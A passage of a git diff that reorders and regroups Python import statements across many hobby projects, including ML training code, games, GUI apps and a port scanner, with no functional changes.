a/ML/src/python/neuralforge/models/efficientnet.py +++ b/ML/src/python/neuralforge/models/efficientnet.py @@ -1,4 +1,5 @@ import torch.nn as nn + from ..nn.convolution import EfficientNetBlock diff --git a/ML/src/python/neuralforge/models/resnet.py b/ML/src/python/neuralforge/models/resnet.py index aa429c84f83..cf158c2bdbc 100644 --- a/ML/src/python/neuralforge/models/resnet.py +++ b/ML/src/python/neuralforge/models/resnet.py @@ -14,7 +14,7 @@ def ResNet34(num_classes=1000, in_channels=3): def ResNet50(num_classes=1000, in_channels=3): - from ..nn.layers import BottleneckBlock from ..nn.convolution import ResNet + from ..nn.layers import BottleneckBlock return ResNet(BottleneckBlock, [3, 4, 6, 3], num_classes, in_channels) diff --git a/ML/src/python/neuralforge/nas/__init__.py b/ML/src/python/neuralforge/nas/__init__.py index 5adbbf57368..f11b93c2fff 100644 --- a/ML/src/python/neuralforge/nas/__init__.py +++ b/ML/src/python/neuralforge/nas/__init__.py @@ -1,6 +1,6 @@ -from .search_space import * -from .evolution import * from .evaluator import * +from .evolution import * +from .search_space import * __all__ = [ "SearchSpace", diff --git a/ML/src/python/neuralforge/nas/evaluator.py b/ML/src/python/neuralforge/nas/evaluator.py index 71d09ca1ed9..d7b00280c86 100644 --- a/ML/src/python/neuralforge/nas/evaluator.py +++ b/ML/src/python/neuralforge/nas/evaluator.py @@ -1,8 +1,10 @@ +from typing import Tuple + import torch import torch.nn as nn from torch.utils.data import DataLoader -from typing import Tuple -from .search_space import SearchSpace, Architecture + +from .search_space import Architecture, SearchSpace class ModelEvaluator: diff --git a/ML/src/python/neuralforge/nas/evolution.py b/ML/src/python/neuralforge/nas/evolution.py index ee97207a3f2..0c9cdf42ace 100644 --- a/ML/src/python/neuralforge/nas/evolution.py +++ b/ML/src/python/neuralforge/nas/evolution.py @@ -1,9 +1,11 @@ import random -import numpy as np from typing import List + +import numpy as np from tqdm import tqdm -from .search_space import SearchSpace, Architecture + from .evaluator import ModelEvaluator +from .search_space import Architecture, SearchSpace class EvolutionarySearch: diff --git a/ML/src/python/neuralforge/nas/search_space.py b/ML/src/python/neuralforge/nas/search_space.py index f9e977a4d78..9e099dbf085 100644 --- a/ML/src/python/neuralforge/nas/search_space.py +++ b/ML/src/python/neuralforge/nas/search_space.py @@ -1,6 +1,7 @@ -import torch.nn as nn -from typing import List, Dict, Any import random +from typing import Any, Dict, List + +import torch.nn as nn class Architecture: diff --git a/ML/src/python/neuralforge/nn/__init__.py b/ML/src/python/neuralforge/nn/__init__.py index 0093805bd01..dbf9faffb95 100644 --- a/ML/src/python/neuralforge/nn/__init__.py +++ b/ML/src/python/neuralforge/nn/__init__.py @@ -1,8 +1,8 @@ -from .modules import * -from .layers import * +from .activations import * from .attention import * from .convolution import * -from .activations import * +from .layers import * +from .modules import * __all__ = [ "TransformerBlock", diff --git a/ML/src/python/neuralforge/nn/modules.py b/ML/src/python/neuralforge/nn/modules.py index b61401bc955..57e6b8b618f 100644 --- a/ML/src/python/neuralforge/nn/modules.py +++ b/ML/src/python/neuralforge/nn/modules.py @@ -1,7 +1,8 @@ +import math + import torch import torch.nn as nn import torch.nn.functional as F -import math class DynamicConv2d(nn.Module): diff --git a/ML/src/python/neuralforge/optim/optimizers.py b/ML/src/python/neuralforge/optim/optimizers.py index c337bf418c5..51c4b186167 100644 --- a/ML/src/python/neuralforge/optim/optimizers.py +++ b/ML/src/python/neuralforge/optim/optimizers.py @@ -1,6 +1,7 @@ +import math + import torch from torch.optim.optimizer import Optimizer -import math class AdamW(Optimizer): diff --git a/ML/src/python/neuralforge/optim/schedulers.py b/ML/src/python/neuralforge/optim/schedulers.py index a55a7281cc0..4c3a6e5e46d 100644 --- a/ML/src/python/neuralforge/optim/schedulers.py +++ b/ML/src/python/neuralforge/optim/schedulers.py @@ -1,6 +1,7 @@ -from torch.optim.lr_scheduler import _LRScheduler import math +from torch.optim.lr_scheduler import _LRScheduler + class WarmupScheduler(_LRScheduler): def __init__(self, optimizer, warmup_epochs, base_scheduler=None, last_epoch=-1): diff --git a/ML/src/python/neuralforge/trainer.py b/ML/src/python/neuralforge/trainer.py index 48b796c3f3b..a196a35eb46 100644 --- a/ML/src/python/neuralforge/trainer.py +++ b/ML/src/python/neuralforge/trainer.py @@ -1,14 +1,16 @@ +import os +import time +from typing import Any, Dict, Optional + import torch -import torch.nn as nn import torch.amp as amp +import torch.nn as nn from torch.utils.data import DataLoader -from typing import Optional, Dict, Any -import time -import os from tqdm import tqdm + +from .config import Config from .utils.logger import Logger from .utils.metrics import MetricsTracker -from .config import Config class Trainer: diff --git a/ML/src/python/neuralforge/utils/logger.py b/ML/src/python/neuralforge/utils/logger.py index 0c47dbecb43..641ec6c7284 100644 --- a/ML/src/python/neuralforge/utils/logger.py +++ b/ML/src/python/neuralforge/utils/logger.py @@ -1,6 +1,6 @@ +import logging import os import sys -import logging from datetime import datetime from typing import Optional diff --git a/ML/src/python/neuralforge/utils/metrics.py b/ML/src/python/neuralforge/utils/metrics.py index 4a510210cea..e6c7e06425e 100644 --- a/ML/src/python/neuralforge/utils/metrics.py +++ b/ML/src/python/neuralforge/utils/metrics.py @@ -1,6 +1,7 @@ import json import os -from typing import Dict, List, Any +from typing import Any, Dict, List + import numpy as np diff --git a/ML/src/python/neuralforge/utils/visualization.py b/ML/src/python/neuralforge/utils/visualization.py index de0c7576244..4c0ebc0e620 100644 --- a/ML/src/python/neuralforge/utils/visualization.py +++ b/ML/src/python/neuralforge/utils/visualization.py @@ -1,7 +1,8 @@ +import os +from typing import Dict, List, Optional + import matplotlib.pyplot as plt import numpy as np -import os -from typing import List, Dict, Optional def plot_training_curves( diff --git a/ML/tests/gui_test.py b/ML/tests/gui_test.py index fa6bec01a23..dee5036e7a1 100644 --- a/ML/tests/gui_test.py +++ b/ML/tests/gui_test.py @@ -1,32 +1,19 @@ -import sys import os +import sys sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) -from PyQt6.QtWidgets import ( - QApplication, - QMainWindow, - QWidget, - QVBoxLayout, - QHBoxLayout, - QPushButton, - QLabel, - QLineEdit, - QFileDialog, - QProgressBar, - QTextEdit, - QGroupBox, -) -from PyQt6.QtCore import Qt, QThread, pyqtSignal -from PyQt6.QtGui import QPixmap, QFont - import torch import torch.nn.functional as F -from torchvision import transforms from PIL import Image - +from PyQt6.QtCore import Qt, QThread, pyqtSignal +from PyQt6.QtGui import QFont, QPixmap +from PyQt6.QtWidgets import (QApplication, QFileDialog, QGroupBox, QHBoxLayout, + QLabel, QLineEdit, QMainWindow, QProgressBar, + QPushButton, QTextEdit, QVBoxLayout, QWidget) from src.python.neuralforge.data.datasets import get_dataset, get_num_classes from src.python.neuralforge.models.resnet import ResNet18 +from torchvision import transforms class PredictionThread(QThread): @@ -443,7 +430,8 @@ def load_model(self): dataset, "classes", [str(i) for i in range(num_classes)] ) except: - from src.python.neuralforge.data.datasets import get_class_names + from src.python.neuralforge.data.datasets import \ + get_class_names self.classes = get_class_names(self.dataset_name) diff --git a/ML/tests/quick_test.py b/ML/tests/quick_test.py index f0f1959f652..e4a16c7b7f1 100644 --- a/ML/tests/quick_test.py +++ b/ML/tests/quick_test.py @@ -1,5 +1,5 @@ -import sys import os +import sys sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) diff --git a/ML/tests/test_model.py b/ML/tests/test_model.py index 50ef56d0565..c2932e37bb3 100644 --- a/ML/tests/test_model.py +++ b/ML/tests/test_model.py @@ -1,20 +1,16 @@ -import sys import os +import sys sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) +import numpy as np import torch import torch.nn.functional as F -from torchvision import transforms from PIL import Image -import numpy as np - -from src.python.neuralforge.data.datasets import ( - get_dataset, - get_num_classes, - get_class_names, -) +from src.python.neuralforge.data.datasets import (get_class_names, get_dataset, + get_num_classes) from src.python.neuralforge.models.resnet import ResNet18 +from torchvision import transforms class ModelTester: diff --git a/ML/train.py b/ML/train.py index c360dc0522d..c29c7bbe814 100644 --- a/ML/train.py +++ b/ML/train.py @@ -1,17 +1,18 @@ -import torch -import torch.nn as nn -import torch.optim as optim import argparse import os import random -import numpy as np +import numpy as np +import torch +import torch.nn as nn +import torch.optim as optim from src.python.neuralforge import optim as nf_optim -from src.python.neuralforge.trainer import Trainer from src.python.neuralforge.config import Config -from src.python.neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder +from src.python.neuralforge.data.dataset import (DataLoaderBuilder, + SyntheticDataset) from src.python.neuralforge.data.datasets import get_dataset, get_num_classes from src.python.neuralforge.models.resnet import ResNet18 +from src.python.neuralforge.trainer import Trainer from src.python.neuralforge.utils.logger import Logger diff --git a/Memory_game.py b/Memory_game.py index 2b320623a92..85246c09087 100644 --- a/Memory_game.py +++ b/Memory_game.py @@ -1,7 +1,8 @@ import random -import pygame import sys +import pygame + # Initialisation de pygame pygame.init() diff --git a/Mp3_media_player.py b/Mp3_media_player.py index 1a778d4da66..b37df175e4a 100644 --- a/Mp3_media_player.py +++ b/Mp3_media_player.py @@ -1,10 +1,10 @@ # its very amazing import os +from tkinter import * from tkinter.filedialog import askdirectory import pygame from mutagen.id3 import ID3 -from tkinter import * root = Tk() root.minsize(300, 300) diff --git a/News_App/Newsapp.py b/News_App/Newsapp.py index 5580bd24530..c3833cde792 100644 --- a/News_App/Newsapp.py +++ b/News_App/Newsapp.py @@ -1,9 +1,10 @@ +from datetime import datetime as date +from datetime import timedelta + import solara as sr import yfinance as yf - from patterns import Company_Name -from datetime import datetime as date, timedelta srart_date = date.today() end_date = date.today() + timedelta(days=1) diff --git a/PDF/images.py b/PDF/images.py index ad3c4033908..52b02a2aabd 100644 --- a/PDF/images.py +++ b/PDF/images.py @@ -1,7 +1,7 @@ import os -from PIL import Image from fpdf import FPDF +from PIL import Image # Author: @NavonilDas diff --git a/PDFtoAudiobook.py b/PDFtoAudiobook.py index 648eaa23fcf..71a1a7c84c8 100644 --- a/PDFtoAudiobook.py +++ b/PDFtoAudiobook.py @@ -1,5 +1,5 @@ -import pyttsx3 import pyPDF2 +import pyttsx3 book = open("book.pdf", "rb") pdfreader = pyPDF2.PdfFileReader(book) diff --git a/PORT SCANNER.PY b/PORT SCANNER.PY index 594ea3eb16f..f493a72f404 100644 --- a/PORT SCANNER.PY +++ b/PORT SCANNER.PY @@ -68,11 +68,11 @@ Open up an text editor, copy & paste the code below. Save the file as: "portscanner.py" and exit the editor """ +import platform import socket import subprocess import sys from time import time -import platform # Clear the screen subprocess.call('clear' if platform.platform() in ("Linux", "Darwin") else "cls", shell=True) diff --git a/Password Generator/pass_gen.py b/Password Generator/pass_gen.py index 82b939cd882..dbc5e093fdf 100644 --- a/Password Generator/pass_gen.py +++ b/Password Generator/pass_gen.py @@ -1,5 +1,5 @@ -import string as str import secrets +import string as str class PasswordGenerator: diff --git a/Password Manager Using Tkinter/main.py b/Password Manager Using Tkinter/main.py index afb9da840db..650c0e591cb 100644 --- a/Password Manager Using Tkinter/main.py +++ b/Password Manager Using Tkinter/main.py @@ -1,10 +1,11 @@ +import json import tkinter as tk +from random import choice, randint, shuffle from tkinter import messagebox, simpledialog + +import pyperclip import ttkbootstrap as ttk from ttkbootstrap.constants import * -import pyperclip -import json -from random import choice, randint, shuffle # ---------------------------- CONSTANTS ------------------------------- # FONT_NAME = "Helvetica" diff --git a/PingPong/main.py b/PingPong/main.py index b98773e8c08..e6ee44bc096 100644 --- a/PingPong/main.py +++ b/PingPong/main.py @@ -1,6 +1,6 @@ +import pygame from Ball import Ball from Slab import Slab -import pygame WIDTH = 600 HEIGHT = 600 diff --git a/PongPong_Game/pong/ball.py b/PongPong_Game/pong/ball.py index a60e0bf666a..566fde7f183 100644 --- a/PongPong_Game/pong/ball.py +++ b/PongPong_Game/pong/ball.py @@ -1,9 +1,10 @@ # ./PongPong/pong/ball.py -import pyglet import random from typing import Tuple +import pyglet + class BallObject(pyglet.shapes.Circle): def __init__(self, *args, **kwargs): diff --git a/PongPong_Game/pong/load.py b/PongPong_Game/pong/load.py index f06ff73da4e..3a9f3b3fd71 100644 --- a/PongPong_Game/pong/load.py +++ b/PongPong_Game/pong/load.py @@ -1,8 +1,9 @@ # ./PongPong/pong/load.py -from . import ball, paddle, rectangle from typing import Tuple +from . import ball, paddle, rectangle + def load_balls(win_size: Tuple, radius: float, speed: Tuple, batch=None): balls = [] diff --git a/PongPong_Game/pong/paddle.py b/PongPong_Game/pong/paddle.py index 0a442523642..49461b82ef0 100644 --- a/PongPong_Game/pong/paddle.py +++ b/PongPong_Game/pong/paddle.py @@ -1,8 +1,9 @@ # ./PongPong/pong/paddle.py +from typing import Tuple + import pyglet from pyglet.window import key -from typing import Tuple class Paddle(pyglet.shapes.Rectangle): diff --git a/Python Programs/Python Programs.py b/Python Programs/Python Programs.py index 005a202766a..f9485cab6c7 100644 --- a/Python Programs/Python Programs.py +++ b/Python Programs/Python Programs.py @@ -31,7 +31,8 @@ import math import sys -from typing import List, Optional, Dict +from typing import Dict, List, Optional + from sympy import primefactors diff --git a/Python Voice Generator.py b/Python Voice Generator.py index 10207a9ca0d..a72f90d6ab0 100644 --- a/Python Voice Generator.py +++ b/Python Voice Generator.py @@ -1,7 +1,8 @@ # install and import google text-to-speech library gtts -from gtts import gTTS import os +from gtts import gTTS + # provide user input text text = input("enter the text: ") # covert text into voice diff --git a/QuestionAnswerVirtualAssistant/backend.py b/QuestionAnswerVirtualAssistant/backend.py index 3746a93cb69..5dd5711fa12 100644 --- a/QuestionAnswerVirtualAssistant/backend.py +++ b/QuestionAnswerVirtualAssistant/backend.py @@ -1,5 +1,6 @@ -import sqlite3 import json +import sqlite3 + import pandas as pd from sklearn.feature_extraction.text import TfidfVectorizer diff --git a/QuestionAnswerVirtualAssistant/frontend.py b/QuestionAnswerVirtualAssistant/frontend.py index 216568bacc5..6bfe3d2db71 100644 --- a/QuestionAnswerVirtualAssistant/frontend.py +++ b/QuestionAnswerVirtualAssistant/frontend.py @@ -1,4 +1,5 @@ from tkinter import * + import backend diff --git a/Quizzler Using Tkinter and Trivia DB API/main.py b/Quizzler Using Tkinter and Trivia DB API/main.py index c6823ac1964..e5b8a6b04b8 100644 --- a/Quizzler Using Tkinter and Trivia DB API/main.py +++ b/Quizzler Using Tkinter and Trivia DB API/main.py @@ -1,7 +1,7 @@ """This file processes the fetched questions and prepares them for use in the quiz.""" -from question_model import Question from data_dynamic import question_data +from question_model import Question from quiz_brain import QuizBrain from ui import QuizInterface diff --git a/Quizzler Using Tkinter and Trivia DB API/ui.py b/Quizzler Using Tkinter and Trivia DB API/ui.py index 28cd558ff55..268881bd62c 100644 --- a/Quizzler Using Tkinter and Trivia DB API/ui.py +++ b/Quizzler Using Tkinter and Trivia DB API/ui.py @@ -1,8 +1,9 @@ """This file manages the graphical user interface of the quiz, using Tkinter to display questions, answer options, and the score to the user.""" from tkinter import * -from quiz_brain import QuizBrain + from data_dynamic import error_message +from quiz_brain import QuizBrain # Normal screen BACKGROUND = "#608BC1" diff --git a/ReadFromCSV.py b/ReadFromCSV.py index dc8177021f4..9765533748a 100644 --- a/ReadFromCSV.py +++ b/ReadFromCSV.py @@ -1,6 +1,7 @@ __author__ = "vamsi" import pandas as pd # pandas library to read csv file -from matplotlib import pyplot as plt # matplotlib library to visualise the data +from matplotlib import \ + pyplot as plt # matplotlib library to visualise the data from matplotlib import style style.use("ggplot") diff --git a/Recursion Visulaizer/recursionVisualizer.py b/Recursion Visulaizer/recursionVisualizer.py index 4ecc495e628..8c948da0f78 100644 --- a/Recursion Visulaizer/recursionVisualizer.py +++ b/Recursion Visulaizer/recursionVisualizer.py @@ -1,5 +1,5 @@ -import turtle import random +import turtle t = turtle.Turtle() num = random.randint(1, 1000) diff --git a/Search_Engine/backend.py b/Search_Engine/backend.py index 2c4f730b914..9718deb80fb 100644 --- a/Search_Engine/backend.py +++ b/Search_Engine/backend.py @@ -1,5 +1,5 @@ -import sqlite3 import json +import sqlite3 class SearchEngine: diff --git a/Search_Engine/frontend.py b/Search_Engine/frontend.py index 11905bf9d05..3e0eeaea013 100644 --- a/Search_Engine/frontend.py +++ b/Search_Engine/frontend.py @@ -1,4 +1,5 @@ from tkinter import * + import backend diff --git a/Shortest Distance between Two Lines.py b/Shortest Distance between Two Lines.py index b60b339acda..764380981a8 100644 --- a/Shortest Distance between Two Lines.py +++ b/Shortest Distance between Two Lines.py @@ -1,4 +1,5 @@ import math + import numpy as NP LC1 = eval(input("Enter DRs of Line 1 : ")) diff --git a/Snake Game Using Turtle/food.py b/Snake Game Using Turtle/food.py index 72a141aea94..b824ffedda1 100644 --- a/Snake Game Using Turtle/food.py +++ b/Snake Game Using Turtle/food.py @@ -3,8 +3,9 @@ by the main game logic to ensure it spawns within the correct boundaries. """ -from turtle import Turtle import random +from turtle import Turtle + import colors diff --git a/Snake Game Using Turtle/main.py b/Snake Game Using Turtle/main.py index 7656b574656..cf3b5e6da7f 100644 --- a/Snake Game Using Turtle/main.py +++ b/Snake Game Using Turtle/main.py @@ -5,11 +5,13 @@ """ from turtle import Screen, Turtle -from snake import Snake + from food import Food from scoreboard import Scoreboard from wall import Wall + import colors +from snake import Snake # --- CONSTANTS --- MOVE_DELAY_MS = 100 # Game speed in milliseconds diff --git a/Snake Game Using Turtle/scoreboard.py b/Snake Game Using Turtle/scoreboard.py index d6e635987ec..a860ca40d8d 100644 --- a/Snake Game Using Turtle/scoreboard.py +++ b/Snake Game Using Turtle/scoreboard.py @@ -3,7 +3,8 @@ It now positions the score dynamically in the top-left corner. """ -from turtle import Turtle, Screen +from turtle import Screen, Turtle + import colors # Constants for styling and alignment diff --git a/Snake Game Using Turtle/snake.py b/Snake Game Using Turtle/snake.py index 70e7b02200d..8101fe85275 100644 --- a/Snake Game Using Turtle/snake.py +++ b/Snake Game Using Turtle/snake.py @@ -4,6 +4,7 @@ """ from turtle import Turtle + import colors STARTING_POSITIONS = [(0, 0), (-20, 0), (-40, 0)] diff --git a/Snake Game Using Turtle/wall.py b/Snake Game Using Turtle/wall.py index b99d9704782..1e81b77f868 100644 --- a/Snake Game Using Turtle/wall.py +++ b/Snake Game Using Turtle/wall.py @@ -1,6 +1,7 @@ """This file creates a responsive boundary wall that adapts to the game window size.""" -from turtle import Turtle, Screen +from turtle import Screen, Turtle + import colors diff --git a/Sorting Algorithims/heapsort_linkedlist.py b/Sorting Algorithims/heapsort_linkedlist.py index 690263b1d03..f837e47001b 100644 --- a/Sorting Algorithims/heapsort_linkedlist.py +++ b/Sorting Algorithims/heapsort_linkedlist.py @@ -14,7 +14,8 @@ """ from __future__ import annotations -from typing import Optional, Iterable, List, Iterator + +from typing import Iterable, Iterator, List, Optional class Node: diff --git a/Sorting Algorithims/mergesort_linkedlist.py b/Sorting Algorithims/mergesort_linkedlist.py index cc0a5fc774c..954adb65961 100644 --- a/Sorting Algorithims/mergesort_linkedlist.py +++ b/Sorting Algorithims/mergesort_linkedlist.py @@ -15,7 +15,8 @@ """ from __future__ import annotations -from typing import Optional, Iterable, List, Iterator + +from typing import Iterable, Iterator, List, Optional class Node: diff --git a/Sorting Algorithims/quicksort_linkedlist.py b/Sorting Algorithims/quicksort_linkedlist.py index 0cfbafc4b84..d7fec57d7d3 100644 --- a/Sorting Algorithims/quicksort_linkedlist.py +++ b/Sorting Algorithims/quicksort_linkedlist.py @@ -15,7 +15,8 @@ """ from __future__ import annotations -from typing import Optional, Iterable, List, Iterator + +from typing import Iterable, Iterator, List, Optional class Node: diff --git a/Street_Fighter/src/main.py b/Street_Fighter/src/main.py index 62778cee3b3..fc9d888f604 100644 --- a/Street_Fighter/src/main.py +++ b/Street_Fighter/src/main.py @@ -1,11 +1,12 @@ import math -import pygame -from pygame import mixer -import cv2 -import numpy as np import os import sys + +import cv2 +import numpy as np +import pygame from fighter import Fighter +from pygame import mixer # Helper Function for Bundled Assets diff --git a/TTS.py b/TTS.py index a151388ce21..0076c43f61d 100644 --- a/TTS.py +++ b/TTS.py @@ -1,5 +1,5 @@ -from tkinter import * from platform import system +from tkinter import * if system() == "Windows" or "nt": import win32com.client as wincl diff --git a/Test-Case-Generator/test_case.py b/Test-Case-Generator/test_case.py index df93bdb3e41..174aac717d4 100644 --- a/Test-Case-Generator/test_case.py +++ b/Test-Case-Generator/test_case.py @@ -6,20 +6,9 @@ import os import webbrowser -from random import randint, choices -from tkinter import ( - Tk, - Label, - Button, - Entry, - Text, - Scrollbar, - IntVar, - StringVar, - END, - HORIZONTAL, - LEFT, -) +from random import choices, randint +from tkinter import (END, HORIZONTAL, LEFT, Button, Entry, IntVar, Label, + Scrollbar, StringVar, Text, Tk) mycolor = "#262626" diff --git a/ThirdAI/Terms and Conditions/ThirdAI.py b/ThirdAI/Terms and Conditions/ThirdAI.py index 046b6998c9a..09443da8b33 100644 --- a/ThirdAI/Terms and Conditions/ThirdAI.py +++ b/ThirdAI/Terms and Conditions/ThirdAI.py @@ -1,4 +1,5 @@ -from thirdai import licensing, neural_db as ndb +from thirdai import licensing +from thirdai import neural_db as ndb class NeuralDBClient: diff --git a/ThirdAI/Terms and Conditions/TkinterUI.py b/ThirdAI/Terms and Conditions/TkinterUI.py index dd7d0172e74..a22d18d5cd9 100644 --- a/ThirdAI/Terms and Conditions/TkinterUI.py +++ b/ThirdAI/Terms and Conditions/TkinterUI.py @@ -1,7 +1,7 @@ import tkinter as tk +from tkinter import filedialog, messagebox from tkinter.font import Font -from tkinter import messagebox -from tkinter import filedialog + from ThirdAI import NeuralDBClient as Ndb diff --git a/Tic-Tac-Toe Games/tic-tac-toe3.py b/Tic-Tac-Toe Games/tic-tac-toe3.py index 92c60d494e6..ee5ac69be3d 100644 --- a/Tic-Tac-Toe Games/tic-tac-toe3.py +++ b/Tic-Tac-Toe Games/tic-tac-toe3.py @@ -11,9 +11,10 @@ False """ +from tkinter import messagebox from typing import List, Optional, Tuple + import customtkinter as ctk -from tkinter import messagebox Board = List[List[str]] diff --git a/Tic-Tac-Toe Games/tic-tac-toe4.py b/Tic-Tac-Toe Games/tic-tac-toe4.py index 0b182ff6dcb..a543885b3ab 100644 --- a/Tic-Tac-Toe Games/tic-tac-toe4.py +++ b/Tic-Tac-Toe Games/tic-tac-toe4.py @@ -22,11 +22,12 @@ -1 """ -import numpy as np import random from time import sleep from typing import List, Tuple +import numpy as np + def create_board() -> np.ndarray: """Return an empty 3x3 Tic-Tac-Toe board.""" diff --git a/Tic-Tac-Toe Games/tic-tac-toe6.py b/Tic-Tac-Toe Games/tic-tac-toe6.py index 294f6fa0a17..599298b4fab 100644 --- a/Tic-Tac-Toe Games/tic-tac-toe6.py +++ b/Tic-Tac-Toe Games/tic-tac-toe6.py @@ -16,7 +16,7 @@ True """ -from typing import List, Dict +from typing import Dict, List def print_tic_tac_toe(values: List[str]) -> None: diff --git a/Todo_GUi.py b/Todo_GUi.py index 6590346c7ee..a065dec99af 100644 --- a/Todo_GUi.py +++ b/Todo_GUi.py @@ -1,5 +1,5 @@ -from tkinter import messagebox import tkinter as tk +from tkinter import messagebox # Function to be called when button is clicked diff --git a/Translator/translator.py b/Translator/translator.py index 2987c91af74..3079b61e910 100644 --- a/Translator/translator.py +++ b/Translator/translator.py @@ -1,4 +1,5 @@ from tkinter import * + from translate import Translator diff --git a/Tweet Pre-Processing.py b/Tweet Pre-Processing.py index d29b5a42657..bd84a8aa7ec 100644 --- a/Tweet Pre-Processing.py +++ b/Tweet Pre-Processing.py @@ -4,9 +4,10 @@ # In[10]: -from nltk.corpus import twitter_samples import random +from nltk.corpus import twitter_samples + # In[ ]: diff --git a/UI-Apps/clock.py b/UI-Apps/clock.py index 544d8bdc48f..553057c7348 100644 --- a/UI-Apps/clock.py +++ b/UI-Apps/clock.py @@ -1,5 +1,4 @@ import tkinter - # retrieve system's time from time import strftime diff --git a/Voice Command Calculator.py b/Voice Command Calculator.py index 8c220092a38..c453e1ddf8d 100644 --- a/Voice Command Calculator.py +++ b/Voice Command Calculator.py @@ -1,4 +1,5 @@ import operator + import speech_recognition as s_r print("Your speech_recognition version is: " + s_r.__version__) diff --git a/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py b/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py index 3aa291c82b4..6e0c4bf04a1 100644 --- a/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py +++ b/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py @@ -1,10 +1,11 @@ -from speakListen import * -from websiteWork import * -from textRead import * from dictator import * from menu import * -from speechtotext import * +from speakListen import * +from textRead import * from TextTospeech import * +from websiteWork import * + +from speechtotext import * def main(): diff --git a/VoiceAssistant/Project_Basic_struct/dictator.py b/VoiceAssistant/Project_Basic_struct/dictator.py index 5b2d85ed918..a99f5125b6e 100644 --- a/VoiceAssistant/Project_Basic_struct/dictator.py +++ b/VoiceAssistant/Project_Basic_struct/dictator.py @@ -1,8 +1,7 @@ # from speakListen import hear # from speakListen import long_hear -from speakListen import * - from colorama import Fore +from speakListen import * def big_text(): diff --git a/VoiceAssistant/Project_Basic_struct/speakListen.py b/VoiceAssistant/Project_Basic_struct/speakListen.py index ba47e8650cb..c913f0ad1bf 100644 --- a/VoiceAssistant/Project_Basic_struct/speakListen.py +++ b/VoiceAssistant/Project_Basic_struct/speakListen.py @@ -1,8 +1,9 @@ +import datetime import time -from colorama import Fore -import speech_recognition as sr + import pyttsx3 -import datetime +import speech_recognition as sr +from colorama import Fore from rich.progress import Progress python = pyttsx3.init("sapi5") # name of the engine is set as Python diff --git a/VoiceAssistant/Project_Basic_struct/textRead.py b/VoiceAssistant/Project_Basic_struct/textRead.py index 51afc75f4b2..f3601f7e337 100644 --- a/VoiceAssistant/Project_Basic_struct/textRead.py +++ b/VoiceAssistant/Project_Basic_struct/textRead.py @@ -1,11 +1,11 @@ -from speakListen import hear -from speakListen import speak +import time + import docx import fitz -import time +from colorama import Fore from rich.console import Console # pip3 install Rich from rich.table import Table -from colorama import Fore +from speakListen import hear, speak def ms_word(): diff --git a/VoiceAssistant/Project_Basic_struct/websiteWork.py b/VoiceAssistant/Project_Basic_struct/websiteWork.py index ca681bc6dc8..dbe4ade26d7 100644 --- a/VoiceAssistant/Project_Basic_struct/websiteWork.py +++ b/VoiceAssistant/Project_Basic_struct/websiteWork.py @@ -1,13 +1,13 @@ -from speakListen import hear -from speakListen import speak +from speakListen import hear, speak """ 1. speakListen.speak(text) 2. speakListen.greet() 3. speakListen.hear() """ -import wikipedia import webbrowser +import wikipedia + def google_search(): """[Goes to google and searches the website asked by the user]""" diff --git a/VoiceRepeater/__main__.py b/VoiceRepeater/__main__.py index dc3e20a9739..b7d2db7e731 100644 --- a/VoiceRepeater/__main__.py +++ b/VoiceRepeater/__main__.py @@ -1,9 +1,9 @@ +import os +import shutil import time -import speech_recognition as sr -import os import playsound -import shutil +import speech_recognition as sr shutil.rmtree("spoken") os.mkdir("spoken") diff --git a/Weather Scrapper/weather.py b/Weather Scrapper/weather.py index 788424522ac..1318e415821 100644 --- a/Weather Scrapper/weather.py +++ b/Weather Scrapper/weather.py @@ -1,15 +1,15 @@ # TODO - refactor & clean code import csv import time -from datetime import datetime -from datetime import date +from datetime import date, datetime + from selenium import webdriver -from selenium.webdriver.support.ui import WebDriverWait -from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.action_chains import ActionChains -from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By +from selenium.webdriver.common.keys import Keys +from selenium.webdriver.support import expected_conditions as EC +from selenium.webdriver.support.ui import WebDriverWait # TODO - Add input checking city = input("City >") diff --git a/WeatherGUI.py b/WeatherGUI.py index 799f714f79a..6cbc851654d 100644 --- a/WeatherGUI.py +++ b/WeatherGUI.py @@ -1,4 +1,5 @@ import tkinter as tk + import requests from bs4 import BeautifulSoup diff --git a/Web Socket.py b/Web Socket.py index d49279036bb..3d96801420e 100644 --- a/Web Socket.py +++ b/Web Socket.py @@ -1,5 +1,6 @@ # Program to print a data & it's Metadata of online uploaded file using "socket". import socket + from colorama import Fore # this module for Color the font # handling the exceptions diff --git a/Web_Scraper.py b/Web_Scraper.py index b489b54096d..1f8fc40a5da 100644 --- a/Web_Scraper.py +++ b/Web_Scraper.py @@ -4,9 +4,10 @@ Requirements: selenium, BeautifulSoup """ +import time + from bs4 import BeautifulSoup from selenium import webdriver -import time # url of the page we want to scrape url = "https://www.naukri.com/top-jobs-by-designations# desigtop600" diff --git a/Webbrowser/tk-browser.py b/Webbrowser/tk-browser.py index fc8b6ddebac..6dce71d1c5b 100644 --- a/Webbrowser/tk-browser.py +++ b/Webbrowser/tk-browser.py @@ -3,9 +3,10 @@ # Written by Sina Meysami # +import sys from tkinter import * # pip install tk-tools + import tkinterweb # pip install tkinterweb -import sys class Browser(Tk): diff --git a/Wikipdedia/flask_rendering.py b/Wikipdedia/flask_rendering.py index 4dc0432dc22..984f87c140b 100644 --- a/Wikipdedia/flask_rendering.py +++ b/Wikipdedia/flask_rendering.py @@ -1,5 +1,5 @@ -from flask import Flask, render_template, request import practice_beautifulsoap as data +from flask import Flask, render_template, request app = Flask(__name__, template_folder="template") diff --git a/Wikipdedia/practice_beautifulsoap.py b/Wikipdedia/practice_beautifulsoap.py index 01938c24139..4472fb4c9ae 100644 --- a/Wikipdedia/practice_beautifulsoap.py +++ b/Wikipdedia/practice_beautifulsoap.py @@ -1,5 +1,5 @@ -from bs4 import BeautifulSoup import requests +from bs4 import BeautifulSoup language_symbols = {} diff --git a/WikipediaModule.py b/WikipediaModule.py index ca28501fa41..8552f31d884 100644 --- a/WikipediaModule.py +++ b/WikipediaModule.py @@ -6,9 +6,10 @@ from __future__ import print_function -import wikipedia as wk from bs4 import BeautifulSoup +import wikipedia 